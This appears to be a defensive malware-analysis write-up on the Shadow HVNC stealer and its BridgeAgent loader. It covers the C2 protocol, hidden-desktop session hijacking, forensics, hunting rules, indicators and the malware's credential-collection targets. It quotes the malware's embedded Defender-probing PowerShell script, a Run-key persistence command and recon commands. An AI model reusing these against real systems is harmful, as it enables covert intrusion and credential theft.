When the WebSocket drops, the agent POSTs to /api/agent/sync?wait_seconds= with a body of {“messages”:[…]} and receives jobs and acknowledgements in the same response: {“jobs”:[…], “acknowledged_message_ids”:[…], “server_time”: …}. Log lines frame the exchange: sync.request messages= wait_seconds=, sync.response jobs= acknowledgements=, connection.https_fallback.success.

Every WebSocket connection and every HTTPS call carries four headers: X-Device-ID, X-Timestamp, X-Nonce, and X-Signature, an Ed25519 signature over the request, so the server can prove the message came from a registered device and wasn’t replayed. The signing key is created on first run and stored in the configuration table, DPAPI-protected.

The server answers with two custom headers of its own, X-Bridge-Server-Time tells the loader what time it is (the signature scheme needs an accurate clock). X-Bridge-Auth-Error appears when authentication fails, with two possible values. revoked_device means the operator deliberately killed this device, and the loader is no longer allowed to re-enroll it. unknown_device means the server lost track of it — a panel rebuild, a wiped database and in that case the agent generates a fresh keypair, re-enrolls as a new device, and wipes everything bound to the old identity.

TLS is pinned to a private root CA at %LOCALAPPDATA%\Bridge\root-ca.crt, whose SHA-256 is stored as configuration key ca_sha256. If the pinned CA gets burned, the loader does not fall back to system trust, it fetches a replacement through a signed recovery document from /api/agent/ca-recovery, validated against a hardcoded key id.

How commands work: the job system

The panel pushes jobs over the WebSocket (or the HTTPS fallback). Nothing runs straight away: each job is written to %LOCALAPPDATA%\Bridge\agent.db before it executes — an INSERT OR IGNORE into the received_jobs table with status “received” and only then acknowledged. With a real job filled in, the insert looks like this:

INSERT OR IGNORE INTO received_jobs VALUES('3fa8c2e1-7b9d-4e52-a816-09d3f5c41b77', 'command.execute', '{"interpreter":"powershell","command":"whoami /all","timeout_seconds":300}', 'received', 1, '2026-08-15 14:02:11', '2026-08-15 14:02:11')

The above contains the job’s UUID, the job type, the full payload as JSON (e.g. command line), the status, the attempt counter, and the created and updated timestamps.

If the row was already there, the agent logs job.duplicate and moves on, so a job delivered twice doesn’t run twice. If it’s new, it logs job.persisted id= type= and queues a job.received message, so the panel knows the job is on disk even if the agent crashes the next second. On startup, unfinished jobs are read back and picked up where they left off. Progress goes back to the panel as job.started, job.progress, job.completed or job.failed, and finished jobs move from received_jobs to completed_jobs with their results attached.

What each job types does:

command.execute

command.execute with payload fields: interpreter (powershell or cmd), command, working_directory, timeout_seconds (default 300, hard cap 900), success_codes — the caller decides which exit codes count as success. PowerShell is spawned as:

powershell.exe -NoLogo -NoProfile -NonInteractive -Command

script.execute

script.execute with one of the interpreters: script-powershell, script-cmd, script-bat; anything else fails with unsupported script type. Unlike software.deploy, nothing is ever written as a file — the script lives only in the job’s database row and in the child process’s command line.

software.deploy — the loader core

The job has a download_path field and the loader fetches the actual file from the panel over the same signed TLS connection, GET request with https:///. Every stage logs its own markers:

The file is downloaded into %LOCALAPPDATA%\Bridge\cache\, but written to a temporary .part file first, so while a package called update.pkg is downloading, you’ll see cache\update.pkg.part, which is renamed to update.pkg only once the transfer completes. Before downloading at all, the loader checks the cache: if a file with the same name, size, and hash is already there, the download is skipped (artifact.cache.hit). After the download, verification runs in two steps — size first, then SHA-256, both against the values given in the job. A mismatch kills the job on the spot (artifact size mismatch: expected …, received … / artifact SHA-256 mismatch: …); a pass logs artifact.download.verified job= bytes= hash=.
If the managed app is already running, it has to be stopped first —Job Object kill, or taskkill.exe /PID /T /F.

The archive is extracted with tar.exe -xf -C (failure logs: archive extraction failed: ) under apps\staging-. That gives us a nice detection: tar.exe extracting into %LOCALAPPDATA%\Bridge\apps\staging-*.
Once running, the app is tracked in the managed_apps table with a state (pending, healthy,failed,stopping or stopped). If the app keeps crashing, a circuit breaker prevents it from restarting after too many failures. Every managed process is placed in a Windows Job Object — kill the job object and the entire process tree dies with it. When the loader launches an app, it records the PID, the process’s creation timestamp, and its full image path in the managed_apps table. Before stopping or killing anything, it reopens the PID and checks that the timestamp and path still match what it recorded, because Windows recycles PIDs and a PID could now belong to the victim’s Notepad. If the facts don’t match, the agent leaves the process alone.
Self-update works by staging the new build next to the old one: the staged copy gets the current exe’s filename with invalid characters replaced by underscores, only if no usable filename can be extracted from the path at all does it fall back to the literal name software.bin. The running old loader is stopped with taskkill /IM, and the new file is swapped into place.

agent.restart

The loader writes a small marker file, runtime.lifecycle.json, containing the restart request and its own PID. The supervisor process, which already watches the runtime through heartbeat files — checks the marker, verifies the PID inside matches the runtime it’s actually supervising, then kills the runtime and spawns a fresh one. The new process picks up right where the old one left off, because every pending job is still sitting in the database.

inventory.collect — host summary

The panel’s “Request inventory” button sends this job, and the loader answers with an agent.inventory message. But it doesn’t seem like there is a real collecting going on — every field is either a constant or a database read:

OS — the fixed string “Windows”
Agent version — “0.4.13”, baked in at compile time
Device name — read from the configuration table, where enrollment stored it
Owner, country, device name — the panel fills these in (the country from a GeoIP lookup on the victim’s IP).
Capabilities — a fixed skills list of 22 tokens covering everything the loader can do: remote_terminal, powershell, screen_share, jpeg-delta, private_desktop, virtual_desktop_coordinates, command_tasks, managed_apps, managed_process_supervision, job_object+verified_identity, job_object_cleanup, user_scope_install, per_user_installer, portable_exe, machine_update_install, machine_msi_install, inventory, update_scan, agent_lifecycle, user_supervised, panel_restart, concurrent_jobs, windows_application_trust.

The live channel and how it compares to the Go payload

As we have already established everything is communicated over the C2 WebSocket. There are two session types: shell and backstage.

Terminal or shell sessionsopen a Windows pseudo-console (ConPTY) on the victim machine, running cmd.exe /D or powershell.exe -NoLogo. A dedicated task named bridge-conpty-output streams the console output back to the panel; if the operator disconnects and comes back, the agent replays the scrollback so they see what they missed.
Screen streaming is plain GDI screen capture encoded as JPEG, nothing fancy. It covers the whole virtual screen, meaning every attached monitor at once, and each frame is numbered.
Input injection depends on the session type. In a normal desktop session, mouse and keyboard events go through SendInput. Backstage sessions don’t use it at all; the loader posts window messages directly to the hidden app’s window instead. And if that window is gone, it walks the window tree and picks another one to deliver to.
Clipboard sharing copies between the operator and the hidden session: when the operation finishes, the victim’s original clipboard contents are restored, so nothing looks disturbed, the transfers are capped at 1 MiB.
Backstage mode is the hidden-desktop workspace. The loader creates a private desktop named winsta0\BridgeBackstage- and launches apps there, where the victim can’t see them, so the victim keeps using their own desktop while the loader screenshots the hidden one and streams it to the panel as JPEG frames. The point of launching a browser this way is what it’s logged into: with the victim’s real profile, the operator gets live Gmail, banking sessions, and saved logins. Since a browser locks its profile while running, the loader first kills the victim’s copy. And it’s not just browsers, the target list includes File Explorer, Notepad, and PowerShell, so the operator can browse the victim’s files or run commands in a window the victim can’t see.

If you have actually read the RemoteX / Shadow HVNC writeup above, this is the similar product rebuild:

	Shadow HVNC Go payload	BridgeAgent (Rust)
Hidden desktop	`RemoteXHidden`	`winsta0\BridgeBackstage-*`
Screen codec	H.264 via go-openh264 (encoder DLL fetched from Cisco on demand) and GDI dirty-rect deltas	Just GDI full frames, JPEG only - no external codec, nothing to download
Hidden-browser screenshots	Chrome DevTools Protocol	Same GDI path as everything else
Input injection	`SendInput` and window messages; also blocks the victim’s own keyboard and mouse (`BlockInput`) and turns their monitor off (`SC_MONITORPOWER`) while the operator works	`SendInput` (desktop) and posted window messages (backstage mode); no `BlockInput`, no screen blanking
Profile unlock	Grabs Chrome’s profile singleton mutex to force the victim’s browser off the profile, kills leftover sessions by generation tag, and runs a `CHROME-BLOCK` routine that keeps the victim’s chrome.exe from retaking the profile mid-session	Asks the victim’s browser windows to close (`WM_CLOSE`), retries until a deadline expires, then force-kills whatever processes still hold the profile with each step logged
Terminal	Interactive terminal channel	Full ConPTY pseudo-console with scrollback replay
Hidden-app scope	Browsers only	Browsers and File Explorer, Notepad, and PowerShell

Persistence

For persistence, the loader runs:

reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d  /f

The Run value name never changes, it’s always BridgeAgent.

On startup the loader also cleans up after its own older builds, which tells us what those builds looked like: it deletes Dropbox.exe from the Startup folder (an earlier version disguised itself as Dropbox) and Bridge Agent.cmd (the previous launcher script), logging startup.legacy_dropbox_removed when it succeeds. It also migrates the old machine-wide install at C:\ProgramData\BridgeAgent\ into the per-user directory, which suggests that the loader used to install system-wide and was reworked to a per-user model. For hunting and investigation purposes: check both locations on a suspect host, because a machine upgraded from an older build can carry artifacts in both.

The most self-aware feature in the loader

The windows_application_trust capability is implemented with an embedded PowerShell script with the loader’s own path passed in the environment variable BRIDGE_TRUST_EXE. The script, as embedded in the binary:

$ErrorActionPreference='SilentlyContinue';
$exe=$env:BRIDGE_TRUST_EXE;
$sig=Get-AuthenticodeSignature -LiteralPath $exe;
$sigStatus=if($sig){[string]$sig.Status}else{'Unknown'};
$publisher=if($sig -and $sig.SignerCertificate){[string]$sig.SignerCertificate.Subject}else{''};
$mp=Get-MpComputerStatus;
$tamper=if($null -ne $mp -and $null -ne $mp.IsTamperProtected){if([bool]$mp.IsTamperProtected){'Enabled'}else{'Disabled'}}else{'Unknown'};
$source='Local';
if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'};
$onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState;
if($onboard -eq 1 -and $source -eq 'Local'){$source='Defender for Endpoint'};
$detection='Unknown';
if(Get-Command Get-MpThreatDetection -ErrorAction SilentlyContinue){$matches=@(Get-MpThreatDetection | Where-Object { (($_.Resources | Out-String) -like ('*'+$exe+'*')) });$detection=if($matches.Count -gt 0){'Detection observed'}else{'None observed'}};
[ordered]@{signature_status=$sigStatus;publisher=$publisher;tamper_protection=$tamper;management_source=$source;defender_detection=$detection}|ConvertTo-Json -Compress

The smartscreen_reputation is always the fixed string “Not directly queryable”, because SmartScreen exposes no API and the authors hardcode their admission instead of omitting the field.

The loader runs a Defender query to see if it has ever detected the binary, fingerprints how the machine is managed (MDM, Group Policy, or Defender for Endpoint), and reports the results to the panel. For the operator, it’s a “how burned is this install” dashboard.

The database is your forensic record

Everything the panel ever sent lives in %LOCALAPPDATA%\Bridge\agent.db: received_jobs (every job, with full payload JSON, including script bodies and command lines), completed_jobs, pending_outbox (unacknowledged outbound messages), managed_apps andinstalled_software (what was deployed, from where), and configuration (the server IP, the DPAPI-protected device key, the pinned CA hash). One detail makes this even better for forensics: the database runs in WAL mode. WAL (“write-ahead log”) means SQLite doesn’t write changes directly into agent.db, it appends them to a file, agent.db-wal, and only folds them into the main file later. Until that happens, the main file still holds the old version of a row and the -wal file holds the new one, including rows that were “deleted” or overwritten. So when you investigate a machine, grab agent.db, agent.db-wal, and agent.db-shm together; analyzing only the main file can miss the most recent and most interesting jobs.

Detection and Hunting Opportunities

Shadow HVNC Stealer

For all its “stealth” engineering, this sample leaves a bunch of trails:

A ~16 KB executable named lss.exe with zero imports appearing in a temp directory
An ETW session namedRemoteX-DNS — check logman query -ets.
Defender exclusion events: Add-MpPreference -ExclusionPath/-ExclusionProcess in PowerShell 4104 or the Defender Operational log, especially from a process that isn’t the activity you recognize.
fodhelper.exe/computerdefaults.exepreceded by writes underHKCU\Software\Classes\ms-settings, so watch out for any write to it, especially when the (Default) value points anywhere outside C:\Windows\System32 (e.g, C:\ProgramData\Microsoft\Windows\WmiPrvSE.exe).
The recon burst: whoami /all, whoami /priv, net localgroup administrators, net group “Domain Admins” /domain, net view /domain, arp -a, net use, cmdkey /list within seconds from a sketchy parent process
HTTP GET to ciscobinary.openh264.org where the requesting process is not a browser, optionally with Go-http-client User-Agent.
Simultaneous modification of Winlogon Userinit, Active Setup StubPath, PowerShell profiles, and the creation of Mouse driver* services and MicrosoftWindowsManagement* tasks.
The host artifacts: desktop object RemoteXHidden, mutexes RemoteXBS*, registry SOFTWARE\RemoteX (MultiUserHarvest), staging directories mimikatz-credentials/ and files lsass_dump.zip, data.zip, .rxcopy, Profiles-journal.staging.

Shadow HVNC Loader

Look for endpoint connections to: /api/agent/connect (WSS upgrade), /api/agent/sync?wait_seconds=N, /api/agent/enroll, /api/agent/ca-recovery
%LOCALAPPDATA%\Bridge\ — agent.db(-wal/-shm), root-ca.crt, cache*.part, apps\staging-* / current / previous, logs\bridge-agent.log, runtime.lifecycle.json
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BridgeAgent
Mutex Local\BridgeAgent-; loopback listener 127.0.0.1:34254; hidden desktop winsta0\BridgeBackstage-
Legacy artifacts: C:\ProgramData\BridgeAgent\, Startup-folder Dropbox.exe / Bridge Agent.cmd
CreateDesktop with a BridgeBackstage-* name
tar.exe -xf extracting into %LOCALAPPDATA%\Bridge\apps\staging-*

Indicators of Compromise

Type	Indicator	Component / Notes
Hash (MD5)	`4072c0f0bb1c6e1e0198c79144f0529f`	RemoteX / Shadow HVNC Stealer v3.5 (`RemoteX.bin`)
Hash (MD5 / SHA-256)	`d07278643de28cdd30ff28255a1797bb` / `fa352e1722361fd9457caa491a2ee6c16b1eeca2c4eb39afa26f6e99146db0b7`	RemoteX / Shadow HVNC Stealer v5.5 (configured build)
Hash (MD5)	`24f180b346bda387107c5059fe0191d6`	Builder (`builder.exe`)
Hash (MD5 / SHA-256)	`7f1c62aab7e4895cc75b2cdfcb5c6625` / `401346d3eabee73245381ea94d58abffec002b39f42fccda7ce0ec7be61dec3f`	Watchdog v3.5 (carved `WmiPrvSE.exe`)
Hash (MD5)	`9675c957a5fded266939e314abff2078`	Watchdog v5.5 (carved, third PE)
Hash (MD5)	`1d04536714bb22a3e909525a7dd627f0`	ChromeElevator v0.20.0 injector (`chrome_injector.exe`)
Hash (MD5)	`85c5a390f17891eee01d5fd10f20a98d`	Dropped LSASS dumper (`lss.exe`)
IP	`195.3.221[.]225`	Shadow HVNC
IP	`62.60.226[.]253`	Shadow HVNC
IP	`206.245.165[.]43`	Shadow Loader C2 (hardcoded default)
IP	`2.26.252[.]145`	Shadow Loader C2
IP	`185.207.15[.]23`	Shadow Loader C2
IP	`93.152.205[.]209`	Shadow Loader C2
IP	`2.27.4[.]114`	RemoteX
IP	`151.243.28[.]116`	RemoteX C2
IP	`95.85.236[.]179`	RemoteX C2
IP	`104.21.16[.]193`	RemoteX C2
IP	`140.228.29[.]100`	RemoteX C2
IP	`167.148.195[.]118`	RemoteX C2
IP	`109.107.168[.]147`	RemoteX C2
IP	`45.88.91[.]151`	RemoteX C2
Endpoint	`ws://<C2>/ws/client?id=<sid>`	RemoteX / Shadow HVNC Stealer C2 channel
Endpoint	`POST /api/upload-data?id=RX-<id>&country=<cc>`	RemoteX exfil
Endpoint	`POST /api/keylog`	RemoteX keylogger upload
Endpoint	`wss:///api/agent/connect`, `/api/agent/sync?wait_seconds=N`, `/api/agent/enroll`, `/api/agent/ca-recovery`	BridgeAgent
File	`*.rxcopy` inside browser profile dirs (`Login Data.rxcopy`, `Cookies.rxcopy`, `cookies.sqlite.rxcopy`)	RemoteX locked-DB copies
Directory	`%LOCALAPPDATA%\RemoteX\Profiles\` (incl. leftover `*.staging`)	RemoteX hidden-browser profile clones
Directory	`%LOCALAPPDATA%\Bridge\` - `agent.db`(-wal/-shm), `root-ca.crt`, `cache\.part`, `apps\staging-`, `logs\bridge-agent.log`, `runtime.lifecycle.json`	BridgeAgent working dir
Directory	`C:\ProgramData\BridgeAgent\`	BridgeAgent legacy machine-wide install
File	Startup folder files `Dropbox.exe`, `Bridge Agent.cmd`	BridgeAgent legacy artifacts (older builds)
File	`software.bin`	BridgeAgent self-update staging name
Hidden desktop	`RemoteXHidden`	RemoteX HVNC / Backstage
Hidden desktop	`winsta0\BridgeBackstage-*`	BridgeAgent Backstage
Mutex	`Global\RemoteX_<sessionID>`	RemoteX / Shadow HVNC Stealer
Mutex	`Local\BridgeAgent-*`	BridgeAgent single instance
Registry	Run values `RemoteX`, `WindowsManagementInstrumentation` (HKCU or HKLM)	RemoteX persistence
Registry	`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BridgeAgent`	BridgeAgent persistence, fixed value name
Registry	`UserInitMprLogonScript`, Active Setup key, PowerShell `profile.ps1` injection	RemoteX watchdog persistence layers
Scheduled tasks	`MicrosoftWindowsManagementHost`, `MicrosoftWindowsManagementHostBoot`, `MicrosoftWindowsManagementHostSystem`, `MicrosoftWindowsManagementHostPerf`, `MicrosoftWindowsManagementClient`, `MicrosoftWindowsManagementClientBoot`, `MicrosoftWindowsManagementClientSystem`, `MicrosoftWindowsManagementClientSystemBoot`, `MicrosoftWindowsManagementClientPerf`	RemoteX watchdog v5.5, all `/rl HIGHEST`
Services	`winSvc`, `RemoteXService`, `RemoteXWatchdog`, `WmiPrvSE_Guard`, `ShadowWatchdog`	RemoteX elevated installs
Firewall rules	`RemoteX Client`, `RemoteX Client In`	RemoteX Shadow HVNC Stealer
ETW trace session	`RemoteX-DNS` subscribed to Microsoft-Windows-DNS-Client (`{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}`)	Shadow HVNC banking watcher, visible via `logman query -ets`
Registry	`HKLM\SOFTWARE\RemoteX\MultiUserHarvest`	RemoteX one-time harvest completion flag
File	`WindowsSystemComponent.lnk` in Startup folders, watchdog copy at `%LOCALAPPDATA%\Microsoft\Windows\WmiPrvSE.exe` (note the transposed letters)	RemoteX watchdog masquerade
WMI persistence	`__EventFilter` `MicrosoftWindowsFilter`, `CommandLineEventConsumer` `MicrosoftWindowsConsumer`, and their binding in `root\subscription`	RemoteX watchdog, 30-second `Win32_LocalTime` heartbeat resurrection

Yara rules

Yara-Rules/ShadowHVNC at main · pandare9x/Yara-Rules

Appendix A: Shadow HVNC Stealer Collector Functions

Function	Targets
`collectAutologon`	Winlogon AutoAdminLogon, DefaultUserName, DefaultPassword, outputs to `autologon.txt`
`collectChatApps`	Slack, Microsoft Teams, Skype, Zoom, Viber, WhatsApp, Signal, Element, Keybase - cookies/config
`collectChromiumBrowser`	Generic Chromium profile collection (all detected Chromium browsers)
`collectChromiumCookies`	Chromium cookies - proper v10 AES-256-GCM path
`collectChromiumPasswords`	Chromium Login Data - shared by Chrome-family and Yandex password collectors
`collectCloudCredentials`	AWS (`.aws`), Azure (`.azure`, `accessTokens.json`, `azureProfile.json`), GCP (`gcloud`)
`collectDevCredentials`	`.npmrc`, `.pypirc`, Composer `auth.json`, `terraform_credentials.json`, Docker `config.json`, `.kube`, `.git-credentials`, Atlassian/Jira tokens
`collectEmailClients`	Outlook (+office365, OutlookArchives), Thunderbird, Foxmail, Mailbird, The Bat!, eM Client, Claws Mail, Postbox
`collectEnvironmentVariables`	Full environment dump (doubles as a secrets hunt for tokens left in env vars)
`collectExtraChromiumBrowsers`	Secondary Chromium variants beyond the main list
`collectFirefoxData`	Per-profile Firefox cookie extraction (`cookies.sqlite`)
`collectGPPPasswords`	Groups.xml `cpassword` values, decrypted in-process with the published Microsoft AES key
`collectGeckoBrowserPasswords`	`logins.json` + `key4.db`, in-process NSS decryption
`collectGeckoCookies`	Gecko-based browser cookies
`collectGitCredentials`	`.gitconfig`, `.netrc`, `.git-credentials`
`collectHighValueAppData`	Authy Desktop, Enpass, Keeper, The Bat!, PuTTY and similar high-value appdata stores
`collectInstalledBrowsersFile`	Browser inventory -> `InstalledBrowsers.txt`
`collectInstalledSoftwareFile`	Uninstall-registry walk -> `InstalledSoftware.txt`
`collectLSASSFile`	Drops and runs `lss.exe`, packages `lsass_dump.zip` (see LSASS section)
`collectLateralMovement`	net, arp, cmdkey recon burst (see Recon section)
`collectMessengers`	Discord token LevelDBs (discord, discordcanary, discordptb), Slack, Teams cookies, Signal config
`collectNotesAndClipboard`	StickyNotes, StandardNotes, Notion, Obsidian, ClipboardHistory
`collectOneDrivePictures`	OneDrive Pictures, Camera Roll folders - the victim’s personal photos
`collectPasswordManagers`	KeePass/KeePassXC (`.kdbx`), Bitwarden, 1Password, RoboForm (Siber Systems), Enpass, Keeper, Sticky Password
`collectPrivilegesFile`	`whoami /all` and `whoami /priv` burst
`collectProcessListFile`	Running-process inventory -> `ProcessList.txt`
`collectRDPFilesFile`	`.rdp` files, MRU registry hives, DPAPI credential blobs, `wevtutil` Termservice log export
`collectRemoteAccessTools`	AnyDesk, TeamViewer, mRemoteNG, Royal TS, FileZilla (`sitemanager.xml`, `recentservers.xml`), WinSCP (`WinSCP.ini`), PuTTY
`collectSSHKeys`	`~/.ssh` (private keys, known_hosts, configs)
`collectScreenshotFile`	Desktop screenshot → `Screenshot.jpg`
`collectSeedPhrases`	Content scan for BIP39 seed words, passphrases
`collectSensitiveFiles`	Identity-document keyword scan
`collectSteam`	Steam `config.vdf`, `local.vdf`, sentry files, token extraction
`collectSystemWideCredentials`	System-wide credential files and DPAPI material across profiles
`collectTelegram`	Telegram Desktop `tdata`
`collectTwoFactorBackupCodes`	`recovery`, `onetime`, `codes*` filename patterns
`collectUser2FABackupCodes`	Per-user variant of the 2FA recovery-code scan (`emergency` patterns)
`collectVPNCredentials`	12 VPN products
`collectWalletsAndApps`	~70 named crypto wallets, trading platforms, and game launchers
`collectWifiPasswords`	`netsh wlan` profile/key extraction
`collectWindowsVault`	Windows Vault via `CredEnumerateW`
`collectYandexData`	Yandex Browser cookies (broken DPAPI path - see Yandex section) and passwords

Appendix B:

# Shadow Checker - Watched Domains List

## Paypal

- paypal.com
- paypal.com.mx
- paypal.de
- paypal.eu
- paypal.ca
- paypal.co.uk
- paypa.co.au

## US major banks

- ally.com
- allybank.com
- americanexpress.com
- atlanticunionbank.com
- bankofamerica.com
- bankofamerica.net
- bbvausa.com
- bmoharris.com
- bmoharrisbank.com
- capitalone.co.uk
- capitalonebank.com
- charlesschwab.com
- chase.com
- citibank.com
- citizensbank.com
- citizensbankna.com
- citizensbankonline.com
- discover.com
- discoverbank.com
- fidelity.com
- fifththird.com
- firstcitizensbank.com
- firsthorizon.com
- goldmansachs.com
- huntington.com
- jpmorgan.com
- jpmorgan.com.cn
- jpmorganbank.com
- keybank.com
- mandt.com
- mandtbank.com
- merrilledge.com
- merrilllynch.com
- morganstanley.com
- morganstanleyprivatebank.com
- navyfederal.org
- penfed.org
- pnc.com
- regions.com
- schwab.com
- schwabbank.com
- suntrust.com
- suntrustbank.com
- synchronybank.com
- synovus.com
- synovusbank.com
- tdbank.com
- thehuntingtonbank.com
- truist.com
- umpquabank.com
- usaa.com
- usbank.com
- vanguard.com
- wellsfargo.com
- wintrust.com

## US - Regional Banks

- americanbank.com
- americanbankcorp.com
- americanheritage.com
- americasfinest.org
- ameriquest.com
- ameris.com
- amerisbank.com
- amexbank.com
- associatedbank.com
- axos.com
- axosbank.com
- bangorsavingsbank.com
- bankofagricultureandcommerce.com
- bankofalbuquerque.com
- bankofandalusia.com
- bankofbarron.com
- bankofbartow.com
- bankofbluegrass.com
- bankofbotetourt.com
- bankofclarke.com
- bankofclarkecount.com
- bankofclarkecounty.com
- bankofcleveland.com
- bankofdekalb.com
- bankofduquoin.com
- bankofeasternwestern.com
- bankofeastman.com
- bankofedgefield.com
- bankofelkhornvalley.com
- bankoffairfield.com
- bankofglennville.com
- bankofguam.com
- bankofhastings.com
- bankofhawaii.com
- bankofhenderson.com
- bankofherculaneum.com
- bankofhereford.com
- bankofhighland.com
- bankofholland.com
- bankofidaho.com
- bankofindiana.com
- bankofjackson.com
- bankofkankakee.com
- bankofkentucky.com
- bankoflancaster.com
- bankoflouisville.com
- bankofmadison.com
- bankofmarin.com
- bankofmemphis.com
- bankofmiddleburg.com
- bankofmidland.com
- bankofmissouri.com
- bankofmontgomerycounty.com
- bankofmonticello.com
- bankofnassau.com
- bankofnevada.com
- bankofnewengland.com
- bankofnewglarus.com
- bankofnewmadrid.com
- bankofnewmilford.com
- bankofnewstockholm.com
- bankofnortharkansas.com
- bankofnorthern.com
- bankofofallon.com
- bankofoldmonroe.com
- bankoforrick.com
- bankofprinceton.com
- bankofpueblo.com
- bankofreno.com
- bankofsaipan.com
- bankofsalem.com
- bankofsanfrancisco.com
- bankofshj.com
- bankofsolano.com
- bankofstaunton.com
- bankofstockton.com
- bankofsuperior.com
- bankoftampa.com
- bankoftennessee.com
- bankoftexas.com
- bankofthesierra.com
- bankofthesierras.com
- bankofthewest.com
- bankofutah.com
- bankofva.com
- bankofvirginia.com
- bankofwaconia.com
- bankofwinfield.com
- bankofwinn.com
- bankofwinnsboro.com
- bankofwisconsin.com
- bankofwyo.com
- bankofwyoming.com
- bankozarks.com
- bankozk.com
- bankunited.com
- bankwell.com
- bankwellfin.com
- bankwest.com
- bankwestofnevada.com
- banner.bank
- bannerbank.com
- becu.org
- bluevine.com
- brooklinebancorp.com
- brooklinebank.com
- busey.com
- bylinebank.com
- cathaybank.com
- centennial.bank
- centennial.com
- centennialbank.com
- centerbancorp.com
- centerstate.com
- centerstatebank.com
- centinnialbank.com
- centralbank.com
- centralbankers.com
- centralindiana.com
- centurybancorp.com
- choicebank.com
- choiceone.com
- coloeast.com
- colonialbank.com
- coloradobank.com
- coloradostatebank.com
- columbia.com
- columbiabank.com
- columbiabanking.com
- comerica.com
- communitybank.com
- communityfirstbank.com
- communityfirstbankshares.com
- communitywest.com
- communitywestbank.com
- cornerstone.com
- cornerstonebank.com
- crossfirstbank.com
- crossriver.com
- crossriverbank.com
- customerbank.com
- deercreek.com
- deerfield.com
- dimebank.com
- eaglebancorp.com
- eaglebank.com
- eastwestbank.com
- enterprise-bank.com
- enterprise.com
- enterprisebank.com
- enterprisebanking.com
- enterprisefinancial.com
- exchangebank.com
- famersbank.com
- farmers.com
- fbbank.com
- fidelitybank.com
- fidelitybankwv.com
- firstamerica.com
- firstamerican.com
- firstbancorp.com
- firstbank.com
- firstbankcolorado.com
- firstbankfinancialservices.com
- firstbankfl.com
- firstbankofnm.com
- firstbankpr.com
- firstbanks.com
- firstbankva.com
- firstbankvi.com
- firstbusey.com
- firstbusiness.com
- firstcitizens.com
- firstcommercial.com
- firstcommunitybank.com
- firstfederal.com
- firstfederalbank.com
- firsthanover.com
- firstheritagefinancial.com
- firsthomebank.com
- firstinterstatebank.com
- firstmerchants.com
- firstmerchantsbank.com
- firstmidillinois.com
- firstmidwest.com
- firstnaples.com
- firstnational.bank
- firstnational.com
- firstnationalbank.com
- firstnationaldenver.com
- firstnewmexico.com
- firstontario.com
- firstrade.com
- firstrand.com
- firstsavings.com
- firstsavingsbank.com
- firstsavingsfinancial.com
- firstsouthern.com
- firstsouthernbank.com
- firststatebank.com
- flagstar.com
- flagstarbank.com
- fnb-corp.com
- fnb-online.com
- fnb.bank
- fnb.com
- fnbcorp.com
- fnbfinancial.com
- fnbnorth.com
- franklinbancorp.com
- franklinbank.com
- freedombank.com
- freedombankgroup.com
- fremont.com
- frontier.com
- frontierbancorp.com
- frontierbank.com
- fultoncu.org
- glacierbank.com
- granitebancorp.com
- granitebank.com
- greatlakes.com
- greatnorthernbank.com
- greatplainsbank.com
- greatwesternbank.com
- greenbank.com
- guarantytrust.bank
- gulfcoastbank.com
- gulfcoastbankandtrust.com
- hanmi.com
- hanmibank.com
- heartlandbank.com
- heartlandfinancial.com
- heartlandfinancialusa.com
- heritage.bank
- heritage.com.au
- heritagebank.com
- heritagebankng.com
- heritagecommerce.com
- heritagefinancial.com
- heritageoaks.com
- heritageoaksbank.com
- heritagesoutheast.com
- highplains.com
- homebancorp.com
- homebank.com
- homefederalbank.com
- homepoint.com
- homestreet.com
- homestreetbank.com
- hometown.com
- hometownbank.com
- horizonbancal.com
- horizonbank.com
- horizonfinancial.com
- hvcbank.com
- idahocentral.org
- idahocentralcu.org
- independence-bank.com
- independencebank.com
- independencebanktexas.com
- independentbank.com
- intermountainbank.com
- interstatebank.com
- lakelandbank.com
- lakeshorebank.com
- lakeshorebankwi.com
- lakeshoresavings.com
- lakeshoresavingsbank.com
- lakestatebank.com
- libertybancorp.com
- libertybank.com
- libertycapitalbank.com
- lincolnbank.com
- lincolnsavings.com
- liveoak.com
- liveoakbank.com
- livingston.bank
- livingstonbank.com
- longislandbank.com
- macatawa.com
- macatawabank.com
- magnoliabancorp.com
- magnoliabank.com
- mainsourcebank.com
- mainstreetbancorp.com
- mainstreetbank.com
- marlinbank.com
- merchanstfinancial.com
- merchantsfinancial.com
- merchantsfinancialgroup.com
- metrocity.com
- metrocitybank.com
- midcitybank.com
- midcoastbancorp.com
- midcoastbank.com
- midlandbank.com
- midlandstates.com
- midlandstatesbank.com
- midnorthbank.com
- midpointbank.com
- midsouth.com
- midsouthbancorp.com
- midwestbank.com
- midwestone.com
- midwestonebank.com
- milehighbank.com
- millerbank.com
- minervabank.com
- minutemanbank.com
- minutemansavings.com
- mission.com
- missionbancorp.com
- missionbank.com
- montanabank.com
- mountainbank.com
- mountainbankgroup.com
- mountainwest.com
- mountainwestbank.com
- mtbank.com
- nationalbank.com
- nationalbankmark.com
- nationalbankshares.com
- nationalcooperativebank.com
- nationalwesternbank.com
- nationalwesternfinancial.com
- nationstar.com
- nationstarbank.com
- nbbank.com
- nbbonline.com
- nbhbank.com
- nbkc.com
- nbkcbank.com
- needhambank.com
- newalliance.com
- newburyportfive.com
- newcentury.com
- newcenturybank.com
- newmarket.bank
- niagarafallsbank.com
- northcoastbank.com
- northerntrust.com
- northwestbank.com
- northwoodbank.com
- norwoodfinancial.com
- oakbrookbank.com
- oceanbank.com
- oceanfirst.com
- oceanfirstbank.com
- oldknox.com
- oldmissouri.com
- oldmissouribank.com
- oldnationalbank.com
- oldpoint.com
- oldpointbank.com
- oldsecond.com
- oldsecondbank.com
- omniamerican.com
- omniamericanbank.com
- ozarkbank.com
- ozarkscu.org
- pacific.com
- pacificalliancebank.com
- pacificcoastbank.com
- pacificmercantile.com
- pacificmercantilebk.com
- pacificpremier.com
- pacificpremierbank.com
- palmdesert.com
- palmdesertbank.com
- palmetto.com
- palmettobank.com
- paragon.com
- paragonbancorp.com
- paragonbank.com
